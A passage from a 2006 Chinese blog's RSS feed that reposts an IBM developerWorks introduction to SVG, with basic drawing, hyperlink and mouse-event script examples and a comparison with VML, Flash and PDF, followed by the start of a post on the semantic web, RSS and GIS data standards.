<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6410.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-28 09:37 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/28/6410.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是SVG</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/27/6387.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Thu, 27 Apr 2006 08:48:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/27/6387.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6387.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/27/6387.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6387.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6387.html</trackback:ping><description><![CDATA[
		<blockquote>SVG是基于XML的专门为网络而设计的图像格式。本文给出了SVG的几个简单例子，并与其它矢量图形格式VML、PDF、SWF进行比较，展示了 SVG的优点和美好前景。</blockquote>
		<!--START RESERVED FOR FUTURE USE INCLUDE FILES-->
		<!-- include java script once we verify teams wants to use this and it will work on dbcs and cyrillic characters -->
		<!--END RESERVED FOR FUTURE USE INCLUDE FILES-->
		<p>
				<a name="N10039">
						<span class="atitle">
								<font face="Arial" size="4">什么是SVG</font>
						</span>
				</a>
		</p>
		<p>SVG(Scable Vector Graphics，可升级矢量图像)是一种基于XML的开放的矢量图形描述语言。SVG图像是与XML1.0兼容的文档，SVG元素是指示如何绘制图像的一些指令，阅读器(Viewer)解释这些指令，把SVG图像在指定设备上显示出来。使用SVG可以在网页上显示出各种各样的高质量的矢量图形，支持很多您想象得出的功能：几何图形、动画、渐变色、滤镜效果等。最关键的是，它是完全用普通文本来描述的！也就是说，这是一种专门为网络而设计的基于文本的图像格式。</p>
		<p>1999年2月，SVG草案出台，经过不断地修改更新，最终形成了第一份实验性的实现规范。2001年7月，W3C正式发布了SVG图像格式建议书，这就是SVG1.0规范。目前，该规范是被提议的推荐标准，到8月底将成为W3C的正式推荐标准。W3C对SVG的解释是：SVG是一种使用XML来描述二维图像的语言。它允许3种形式的图像对象存在，分别是矢量图形、点阵图像和文本。各种图像对象能够组合、变换，并且能修改其样式，也能够定义成预处理对象。文本是XML名字空间中的有效字符，这些字符能被作为SVG图像的关键字而存留在搜索引擎中。SVG的功能包括嵌套变换、路径剪裁、透明度处理、滤镜效果以及其他扩展，同时，SVG支持动画和交互，也支持完整的XML的DOM接口。任何一种SVG图像元素都能使用脚本来处理类似于鼠标单击、双击以及键盘输入等事件。因为同Web标准兼容的缘故，SVG还能够在同一个Web页面里凭着继承自XML的名字空间等特性来完成一系列交互操作。</p>
		<br />
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" />
										<br />
										<img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" />
								</td>
						</tr>
				</tbody>
		</table>
		<table class="no-print" cellspacing="0" cellpadding="0" align="right">
				<tbody>
						<tr align="right">
								<td>
										<img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" />
										<br />
										<table cellspacing="0" cellpadding="0" border="0">
												<tbody>
														<tr>
																<td valign="center">
																		<img height="16" alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width="16" border="0" />
																		<br />
																</td>
																<td valign="top" align="right">
																		<a class="fbox" href="http://www-128.ibm.com/developerworks/cn/xml/x-svg/index.html#main">
																				<b>
																						<font color="#996699">回页首</font>
																				</b>
																		</a>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<br />
		<p>
				<a name="N10045">
						<span class="atitle">
								<font face="Arial" size="4">SVG都有哪些优点</font>
						</span>
				</a>
		</p>
		<p>
				<font face="Arial" size="4">
				</font>
		</p>
		<ol>
				<li>基于XML标准 <br />　　XML是公认的下一代网络标记语言，拥有无穷的生命力。SVG在最开始设计的时候就基于XML，这使得它具有一种先天的优势，并且同HTML、CSS、DOM、XSL、JavaScript、CGI一样，成为新的标准。 
</li>
				<li>高质量的图像 <br />　　由于基于矢量，使得SVG图像的质量得到大大的提高。放大、缩小以及各种特效都比位图的表现要好，在打印的时候，完全可以以印刷质量输出图片。SVG图像在客户端动态绘制，用户可以随意调整图像的一些参数而不会导致图像模糊。SVG图像的大小只与图形的复杂程度有关，而与图形的具体尺寸无关。 
</li>
				<li>灵活易用的文件格式 <br />　　SVG主要由３个部分组成：矢量图形、位图和文字。由于SVG文件是以文本的形式（XML）存放的，更改起来是非常方便的。也就是说，可以不用任何图像处理工具，仅仅用记事本就可以生成一个SVG图像！在页面运行的过程中，我们也可以对很多部分做修改。而其中的图形描述又可以被任何人重复的使用。 
</li>
				<li>支持交互和动画 <br />　　SVG支持SMIL（synchronized multimedia integration language），使得用户可以自由的同SVG中的元素完成一些交互的动作，从而完成既定的目标，这一点在目前单独依靠图片是完成不了的，需要由网页中的Script语句来实现。 
</li>
				<li>支持字符查找 <br />　　查找"图片"中的字符，在SVG中成为可能。而这在其它格式的图片文件中则是不可思议的？！ 
</li>
				<li>支持Xlink 和Xpointer <br />这意味着我们可以在SVG文档之间制作超链接，这使我们拥有一种能力，可以制作一个完全由SVG构成的WEB站点！这个站点可以包含图片、文本以及拥有与用户进行交互的能力。Andrew Watt就制作了世界上第一个这样的全SVG站点( <a href="http://www.svgspider.com/"><font color="#5c81a7">http://www.svgspider.com</font></a>) .当然你首先得要安装一个SVG的阅读器，推荐使用Adobe公司的 <a href="http://www.adobe.com/svg/viewer/install/main.html"><font color="#996699">Adobe SVG Viewer 2.0</font></a>,但它只能用在MS Windows和MacOS上。使用一个合适的Java虚拟，Apache的 <a href="http://xml.apache.org/batik/dist/"><font color="#5c81a7">Batik viewer</font></a>可以运行在任何平台上。 </li>
		</ol>
		<p>看到这么多优点，是不是觉得不可思议？好，下面我们从几个小例子着手，揭开SVG的神秘面纱。</p>
		<br />
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" />
										<br />
										<img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" />
								</td>
						</tr>
				</tbody>
		</table>
		<table class="no-print" cellspacing="0" cellpadding="0" align="right">
				<tbody>
						<tr align="right">
								<td>
										<img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" />
										<br />
										<table cellspacing="0" cellpadding="0" border="0">
												<tbody>
														<tr>
																<td valign="center">
																		<img height="16" alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width="16" border="0" />
																		<br />
																</td>
																<td valign="top" align="right">
																		<a class="fbox" href="http://www-128.ibm.com/developerworks/cn/xml/x-svg/index.html#main">
																				<b>
																						<font color="#996699">回页首</font>
																				</b>
																		</a>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<br />
		<p>
				<a name="N1007D">
						<span class="atitle">
								<font face="Arial" size="4">SVG的几个简单例子</font>
						</span>
				</a>
		</p>
		<p>任何人可以利用一个记事本来创建和编辑SVG图像，但有时这样做会很复杂。现在有越来越多的工具开始支持SVG编码，可以减轻我们的工作。比如：从Adobe Illustrator 9.0和CorelDraw9开始就可以制作极度复杂的SVG图形。虽然SVG的语法和格式仍是XML规范的一部分，但SVG有其自己的一些基本概念、SVG的渲染模型、SVG数据类型与坐标系设置等，详细内容请参照 <a href="http://www-128.ibm.com/developerworks/cn/xml/x-svg/index.html#resources"><font color="#996699">参考资料</font></a>。 </p>
		<p>一个最简单的例子：</p>
		<br />
		<a name="N1008D">
				<b>例1 一个SVG的基本图形例子</b>
		</a>
		<br />
		<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
				<tbody>
						<tr>
								<td>
										<pre>
												<code class="section">
														<font face="Lucida Console">&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;
&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20000303 Stylable//EN"
"http://www.w3.org/TR/2000/03/WD-SVG-20000303/DTD/svg-20000303-stylable.dtd"&gt;
&lt;svg xml:space="preserve" width="5.5in" height="5in"&gt;
&lt;rect style="fill:#ff13e2;" width="250" height="100"/&gt;
&lt;text style="fill:blue;" y="15"&gt;Hello World!&lt;/text&gt;
&lt;path d="M 50 50 L 250 30 L 200 90 z"/&gt;
&lt;/svg&gt;
</font>
												</code>
										</pre>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<p>SVG文档(通常以后缀.svg存放)总是以根元素开始。和标记内是SVG的图像描述语句。我们可以定义一个视口坐标系和用户坐标系，缺省的情况下两者是一致的，度量单位也相同，如果属性值没有带单位，则使用用户坐标系的长度单位-像素（px）。大多数情况下，用户坐标系的原点处在视口的左上角，X轴的正向朝右，Y轴的正向朝下，即如果不进行坐标变换，一切渲染都是以初始坐标系为准。例1中的SVG首先画了一个矩形，然后写了一段文字，接着利用路径元素画了一个三角形，最后显示效果如图1所示：</p>
		<br />
		<a name="N1009C">
				<b>图1 在浏览器中显示例1的结果</b>
		</a>
		<br />
		<img height="187" alt=" 图1  在浏览器中显示例1的结果" src="http://www-128.ibm.com/developerworks/cn/xml/x-svg/fig1.gif" width="312" />
		<br />
		<p>SVG提供了一种通用的路径式元素（path），可以用来创建庞大复杂的图像对象，像电子设计、流程图、统计绘画等领域有大量固定的符号，SVG不可能全部囊括。SVG规范允许用户定义自己的符号，可以将自定义的符号创建、重用、发布而不需要其他额外的手段，更不需要一个什么委员会来批准注册，这种自由灵活的风格更加扩展了SVG的功能。</p>
		<p>SVG提供的另一个很重要的功能是超级链接。在HTML网页中，图像和链接是分离的，图像作为外部文件而存在，链接则在HTML中说明，这样虽然有灵活和可重用的优点，却不易管理。而Flash的SWF矢量格式则相反，图像中内嵌链接，两者成为一个整体，虽然方便，但却不能重用。SVG则综合了两者的优点，其超级链接以明文的形式内嵌于文档内部，在形式上是一个整体，而且也有利于修改。由于SVG是基于XML的，象"xlink" 和 "xpointer"等都是XML特有的，所以SVG就自然而然获得了XML所定义的链接的好处和功能。</p>
		<p>把例1稍做修改，对那个黑三角加上一个超级链接，如例2所示：</p>
		<br />
		<a name="N100B2">
				<b>例2 超级链接的例子</b>
		</a>
		<br />
		<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
				<tbody>
						<tr>
								<td>
										<pre>
												<code class="section">
														<font face="Lucida Console">......
&lt;a xlink:href="http://www.shu.edu.cn/"&gt;
&lt;path d="M 50 50 L 250 30 L 200 90 z"/&gt;
&lt;/a &gt;
......
</font>
												</code>
										</pre>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<p>当鼠标指针移到黑三角上时就变成了手的形状，状态栏上也显示了此链接所指向的URL。例2只是一种常见的情况，实际上SVG中超级链接标志符的定义格式有3种： 
</p>
		<ol>
				<li>通过SVG元素的"id"属性对元素进行链接与标识。如somfile.svg#someplace。 
</li>
				<li>使用与XML兼容的"xpointer"。如somefile.svg#xpointer(id("someplace"))。 
</li>
				<li>使用SVG的"viewBox"说明。 </li>
		</ol>
		<p>
		</p>
		<p>SVG作为一种适用于网络的图像格式，不仅仅在于它的体积小、易修改、可缩放等与普通矢量图形一样的优点，还在于它添加有针对网络的交互功能。SVG图像可以内嵌交互定义。单独的一个SVG文件和一个客户端的SVG解释器便可以完成网页中链接、动画、交互等大部分功能。与Flash的SWF格式基于"帧"的二进制数据流不同，SVG是完全基于ASCII字符的文本。例3是一个交互的例子。</p>
		<br />
		<a name="N100CE">
				<b>例3 SVG利用&lt;script&gt;元素进行交互的例子</b>
		</a>
		<br />
		<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
				<tbody>
						<tr>
								<td>
										<pre>
												<code class="section">
														<font face="Lucida Console">&lt;?xml version="1.0" standalone="no"?&gt;
&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20000303 Stylable//EN"
  
"http://www.w3.org/TR/2000/03/WD-SVG-20000303/DTD/svg-20000303-stylable.dtd"&gt;
&lt;svg width="6cm" height="5cm" viewBox="0 0 600 500"&gt;
&lt;script&gt;&lt;![CDATA[
 function rect_mousemove(evt){ 
   var rect01 = evt.target; 
   var currentwidth = rect01.getAttribute("width");
   var currentheight = rect01.getAttribute("height");
   rect01.setAttribute("width",currentwidth*2); 
   rect01.setAttribute("height",currentheight*2); 
 }
 function rect_mouseout(evt){ 
 //.....
 }
]]&gt; 
&lt;/script&gt;
&lt;rect x="100" y="100" height="100" width="200"
      onmouseover="rect_mousemove(evt)" 
      onmouseout="rect_mouseout(evt)"/&gt; 
&lt;/svg&gt;
</font>
												</code>
										</pre>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<p>&lt;script&gt;元素中定义了两个函数来分别响应鼠标的两个事件。关于SVG中脚本的语句，读者可以参考有关JavaScript的书籍。</p>
		<p>SVG不但能够实现交互，而且能够实现动画。动画与交互在某些方面是相通的，比如都可以利用脚本语句来执行一些动态效果，都能实现可视化元素的增、删、改等功能。只是交互一般由事件来触发，而动画可以"我行我素"，不需要外界干涉。SVG中的动画只说明某个属性或样式的值在动画过程中的起止时刻、变化速度等关键参数，动画的中间效果完全靠SVG客户端解释程序来渲染完成，因此其生成的动画文件有着比SWF格式的文件更加短小精悍的优点。关于动画，本文就不举详细的例子了，有兴趣的读者可参见参考文献6。</p>
		<br />
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" />
										<br />
										<img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" />
								</td>
						</tr>
				</tbody>
		</table>
		<table class="no-print" cellspacing="0" cellpadding="0" align="right">
				<tbody>
						<tr align="right">
								<td>
										<img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" />
										<br />
										<table cellspacing="0" cellpadding="0" border="0">
												<tbody>
														<tr>
																<td valign="center">
																		<img height="16" alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width="16" border="0" />
																		<br />
																</td>
																<td valign="top" align="right">
																		<a class="fbox" href="http://www-128.ibm.com/developerworks/cn/xml/x-svg/index.html#main">
																				<b>
																						<font color="#996699">回页首</font>
																				</b>
																		</a>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<br />
		<p>
				<a name="N100DE">
						<span class="atitle">
								<font face="Arial" size="4">SVG、VML、FLASH、PDF之间的比较</font>
						</span>
				</a>
		</p>
		<p>过去在XML矢量图形的发展上，有两派人马互相较劲。一派以Adobe为首，提倡PGML，另一派由微软、MacroMedia为代表，鼓吹VML(IE5以上支持VML)，在这两套提案呈递给W3C后，W3C融合各家之长，促成了SVG的诞生。</p>
		<p>SVG建立于纯文字格式的XML之上，直接继承了XML的特性，简化异质系统间的信息交流，方便数据库的存取。SVG可以直接融入XML和XHTML网页中，可以直接利用浏览器已有的技术，如CSS、DOM、Javascript，达到动画及DHTML般的动态效果，支持单向和多向链接等等。更重要的是SVG是W3C制定的网络标准，不受单一的公司控制。</p>
		<p>MacroMedia Flash 的SWF格式提供矢量和动画功能，但Flash必须要依靠浏览器外挂程序(插件:Plug-ins)，而且因为Flash的格式是二进制的，Flash中的文字内容无法让使用者在浏览器中做字符串搜索，这样的网页也无法让搜索引擎索引来供用户做全文检索。此外，高互动性的多媒体动画，往往需要编程来实现，在这一点上Flash也有先天的不足，Flash和JavaScript之间的互动，只能通过比较狭窄的FSCommand来做桥梁。当然，尽管Flash有上述这些缺陷，但时至今日，它仍是网上矢量动画最好的解决方案。</p>
		<p>PDF(Portable Document Format，便携文件格式)是由Adobe公司开发而成的一种电子文档格式。它可以将文字、字型、格式、颜色、图形图像、超文本链接、声音、动态图像等信息封装在一个文件当中。PDF从页面描述语言PS(PostScript)发展而来，具有与PS几乎相同的页面描述能力和相似的描述方法。但与PS不同的是，PDF除了能描述复杂版面外，还具有交互功能(如超链接、交互表单等)、页面随机存取及字体仿真描述等特性。因此，PDF不仅适合印刷出版，而且也适合电子出版。PDF文件特别适合打印以及在屏幕上阅览，具有加密功能以及能够跨平台创建和阅览，支持全文检索。但是，由于PDF不是基于XML格式的，因此也就丧失了XML所能带来的所有好处和优点，例如我们可以仅用一个记事本就可以创建或修改一个SVG文档，而制作一个PDF文档呢，主要途径不外乎有3个：用专门的PDF制作工具软件进行制作；将包含有Postscript页面描述语言的文件转换成PDF文档；利用转换工具把其他格式文件(如DOC、HTML等)转换成PDF文档。相比之下，优劣立现。另外PDF不能制作动画，所以PDF的流行范围也仅限于电子文档的发布。</p>
		<br />
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" />
										<br />
										<img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" />
								</td>
						</tr>
				</tbody>
		</table>
		<table class="no-print" cellspacing="0" cellpadding="0" align="right">
				<tbody>
						<tr align="right">
								<td>
										<img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" />
										<br />
										<table cellspacing="0" cellpadding="0" border="0">
												<tbody>
														<tr>
																<td valign="center">
																		<img height="16" alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width="16" border="0" />
																		<br />
																</td>
																<td valign="top" align="right">
																		<a class="fbox" href="http://www-128.ibm.com/developerworks/cn/xml/x-svg/index.html#main">
																				<b>
																						<font color="#996699">回页首</font>
																				</b>
																		</a>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<br />
		<p>
				<a name="N100F0">
						<span class="atitle">
								<font face="Arial" size="4">SVG的美好前景</font>
						</span>
				</a>
		</p>
		<p>统一的标准和开放性是SVG的强大生命力所在。我们可以想象SVG流行起来以后的景象：由于XML的Parser是可以免费得到的，而且标准也是公开的，所以除了将SVG应用在网页上或作为独立应用程序执行外，它应该可以跑在任何标准设备上。会有那么一天，你在出差前在Illustrator里面制作一张图片，然后作为附件发送给公司的同事。公司的同事在收到以后，如果需要在图片的文字上作一些改动，她就会直接用写字板程序打开你的图片文件，改正需要改动的文字，再保存起来。由于你已经到达外地，而又不能马上接入互联网，所以你的同事会直接把图片发送到你的手提电话上。你的支持SVG的手提电话会直接在屏幕上显示你想要看到的图片，这时你发现你画的圆的比例不太正确，不过没有问题，你并不需要一个大型的制图软件，你需要的只是手提电话里面内置的一个文本编辑器就能够完成修改了。</p>
		<p>相信我，有一天（这一天可能不远的，因为今天我们已经有了SVG，我们还会不断的有新的标准），你可能会煞有介事的从手提电话向你的冰箱传送图片，仅仅是为了更改你已经看的不耐烦了的液晶操作面板。</p>
		<p>由于SVG使用XML语法，我们可以使用XSLT从XML数据中生成SVG。我们还可以很容易地对以XML格式存放的数据制作一个图形表示。例如，对于一个包含玩具生产商所占市场份额的XML文档，我们可以用SVG创建一个饼图来方便比较！</p>
		<p>记住，这一切的前提就是：公开的，标准化的，跨平台的时代的到来。</p>
		<p>
				<a name="N10102">
						<span class="smalltitle">
								<strong>
										<font face="Arial">一些有用的链接</font>
								</strong>
						</span>
				</a>
		</p>
		<p>
				<strong>
						<font face="Arial">
						</font>
				</strong>
		</p>
		<ol>
				<li>
						<a href="http://www.svgspider.com/">
								<font color="#5c81a7">http://www.SVGSpider.com</font>
						</a>- 世界上第一个全部用SVG制作的网站,该网站有许多非常好的例子,推荐访问. 
</li>
				<li>
						<a href="http://www.adobe.com/svg/">
								<font color="#5c81a7">http://www.adobe.com/svg/</font>
						</a>- 可以从这个站点下载Adobe SVG Viewer,另外还有许多 Adobe's SVG 工具的链接, 和SVG的例子. 
</li>
				<li>
						<a href="http://www.kevlindev.com/">
								<font color="#5c81a7">http://www.kevlindev.com</font>
						</a>- 该网站有非常有用的SVG教程 . 
</li>
				<li>
						<a href="http://www.w3.org/TR/SVG/">
								<font color="#996699">http://www.w3.org/TR/SVG/</font>
						</a>- 有最新的SVG规范. </li>
		</ol>
		<p>
		</p>
		<p>
				<a name="N1012A">
						<span class="smalltitle">
								<strong>
										<font face="Arial">一些主要的SVG图像阅读器,制作以及转换工具</font>
								</strong>
						</span>
				</a>
		</p>
		<p>
		</p>
		<table cellspacing="0" cellpadding="5" width="100%" border="1">
				<tbody>
						<tr bgcolor="#cccccc">
								<td>
										<strong>Organization</strong>
								</td>
								<td>
										<b>Product</b>
								</td>
								<td>
										<b>Platforms</b>
								</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>Adobe</td>
								<td>
										<a href="http://www.adobe.com/svg/">
												<font color="#5c81a7">Adobe SVG Viewer 2.0</font>
										</a>(Browser) </td>
								<td>MacOS Win95/98/ME WinNT/2000</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>IBM</td>
								<td>
										<a href="http://alphaworks.ibm.com/tech/svgview">
												<font color="#5c81a7">IBM SVGView</font>
										</a>(Browser) </td>
								<td>Win95/98 WinNT</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>Apache</td>
								<td>
										<a href="http://xml.apache.org/batik/svgviewer.html">
												<font color="#5c81a7">
														<b>Batik SVG browser</b>
												</font>
										</a>(Browser) </td>
								<td>Any Java 2</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>W3C</td>
								<td>
										<a href="http://www.w3.org/Amaya">
												<font color="#5c81a7">Amaya 5.0</font>
										</a>(Editor/Browser) </td>
								<td>Unix and Windows</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>Adobe</td>
								<td>
										<a href="http://www.adobe.com/products/illustrator/main.html">
												<font color="#5c81a7">Illustrator 9.0</font>
										</a>(Editor) </td>
								<td>MacOS Win95/98/ME WinNT/2000</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>KDD Labs</td>
								<td>
										<a href="http://www.jamaps.org/JaMaPS/English/JaMaPSindex.html">
												<font color="#5c81a7">
														<b>JaMaPS</b>
												</font>
										</a>（Japan map with GPS support） </td>
								<td>PalmOS</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>CSIRO</td>
								<td>
										<a href="http://sis.cmis.csiro.au/svg">
												<font color="#5c81a7">
														<b>Pocket SVG Viewer</b>
												</font>
										</a>（Viewr） </td>
								<td>Pocket PC</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>Appligent</td>
								<td>
										<a href="http://www.digapp.com/newpages/svg2pdf.html">
												<font color="#5c81a7">
														<b>SVG2PDF</b>
												</font>
										</a>(Converts from SVG to PDF) </td>
								<td>MacOSWin95/98/ME WinNT/2000</td>
						</tr>
						<tr bgcolor="#cccccc">
								<td>IBM</td>
								<td>
										<a href="http://www.alphaworks.ibm.com/tech/afp2svg">
												<font color="#5c81a7">AFP to SVG transcoder</font>
										</a>(Server-side SVG generators) </td>
								<td>Win95/98 WinNT</td>
						</tr>
				</tbody>
		</table>
		<br />
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" />
										<br />
										<img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" />
								</td>
						</tr>
				</tbody>
		</table>
		<table class="no-print" cellspacing="0" cellpadding="0" align="right">
				<tbody>
						<tr align="right">
								<td>
										<img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" />
										<br />
										<table cellspacing="0" cellpadding="0" border="0">
												<tbody>
														<tr>
																<td valign="center">
																		<img height="16" alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width="16" border="0" />
																		<br />
																</td>
																<td valign="top" align="right">
																		<a class="fbox" href="http://www-128.ibm.com/developerworks/cn/xml/x-svg/index.html#main">
																				<b>
																						<font color="#996699">回页首</font>
																				</b>
																		</a>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<br />
		<p>
				<a name="resources">
						<span class="atitle">
								<font face="Arial" size="4">参考资料 </font>
						</span>
				</a>
		</p>
		<ul>
				<li>W3C Scalable Vector Graphics (SVG) <a href="http://www.w3.org/Graphics/SVG/"><font color="#5c81a7">http://www.w3.org/Graphics/SVG/</font></a><br /><br /></li>
				<li>Scalable Vector Graphics (SVG) Specification - <a href="http://www.w3.org/TR/SVG/"><font color="#996699">http://www.w3.org/TR/SVG/</font></a><br /><br /></li>
				<li>Adobe on SVG <a href="http://www.adobe.com/svg"><font color="#5c81a7">http://www.adobe.com/svg</font></a><br /><br /></li>
				<li>SVG in Gnome <a href="http://www.levien.com/svg/"><font color="#5c81a7">http://www.levien.com/svg/</font></a><br /><br /></li>
				<li>
						<a href="http://www.tech.irt.org/articles/js176/">
								<font color="#5c81a7">SVG Brings Fast Vector Graphics to Web</font>
						</a>
						<br />
						<br />
				</li>
				<li>基于XML的SVG应用指南 北京科海培训中心<br /></li>
		</ul>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6387.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-27 16:48 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/27/6387.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>个人觉得很经典的一段话来自网络bloger:mars</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6347.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 26 Apr 2006 12:06:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6347.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6347.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6347.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6347.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6347.html</trackback:ping><description><![CDATA[
		<p>一：<br />一篇文章，无需专门的格式说明或者元数据，我们就可以理解其知识，从中获取有关信息，因为文字是基于语义而不是基于表达的，但现有的IS系统或者GIS系统，是完全基于表达，甚至是可视化的。这点大概就是语义Web或者GIS的最初驱动力吧。</p>
		<p>XML之所以可以风靡，是因为他是自描述的，是面向语义而不是表达的（HTML是基于表达的技术），因此，有语义Web的提出。但也许语义Web永远不会到来，来临的是RSS的风靡，或者下一个技术的风靡，最终的结果一致，而且保持了技术和环境的衔接与过渡。</p>
		<p>那么GIS呢，我们也许不会看到语义GIS的出现，但我们是否可以有类似RSS的技术，用于数据交换和互操作。对于研究，一个启示就是要从需求出发，不能“两耳不闻窗外事”。</p>
		<p>RSS风靡的启示是，一项技术，不仅需要需求，而且需要根植于环境。在Semantic Web的研究中，在看好和宣传Web Service的风潮中，RSS却提前流行，一个很重要的原因就是：第一，RSS的简单性；第二，Web是主流，软件已经是附属品或者基础结构；第三，信息量的剧增导致对于信息的获取更依赖于搜索而不是组织，Google的流行是与这种趋势互相作用的结果，RSS更适合于搜索；第四，对于语义Web，Web的概念不仅仅是信息，而且是软件，是用户界面，是用户和计算机进行交互的媒介，语义Web只是看到了Web最初的含义。<br /><br />二：<br /></p>
		<p style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; MARGIN: 0in; FONT-FAMILY: 宋体; mso-outline-level: 1">和数据无关的空间分析模块</p>
		<p style="FONT-SIZE: 12pt; MARGIN: 0in; FONT-FAMILY: Tahoma; mso-outline-level: 1"> </p>
		<p style="FONT-SIZE: 12pt; MARGIN: 0in; mso-outline-level: 1">
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">和数据无关是指空间分析和具体的数据格式无关。现在的空间分析模块都是平台绑定的，说实话，笔者学会了</span>
				<span lang="EN-US" style="FONT-FAMILY: Tahoma">ESRI</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">的</span>
				<span lang="EN-US" style="FONT-FAMILY: Tahoma">MO</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">下的各类空间检索的实现，换了</span>
				<span lang="EN-US" style="FONT-FAMILY: Tahoma">MapX</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">，还要学习和对比，换了</span>
				<span lang="EN-US" style="FONT-FAMILY: Tahoma">SuperMap Object</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">，还是要学。</span>
		</p>
		<p style="FONT-SIZE: 12pt; MARGIN: 0in; FONT-FAMILY: Tahoma; mso-outline-level: 1"> </p>
		<p style="FONT-SIZE: 12pt; MARGIN: 0in; mso-outline-level: 1">
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">有了数据的标准，分析模块可以互换和互操作；在没有事实的标准的情况下，是不是可以使用</span>
				<span lang="EN-US" style="FONT-FAMILY: Tahoma">XML</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">格式的</span>
				<span lang="EN-US" style="FONT-FAMILY: Tahoma">GML</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 宋体">，我相信，效率也不会太坏，市场也不会太坏。</span>
				<br />
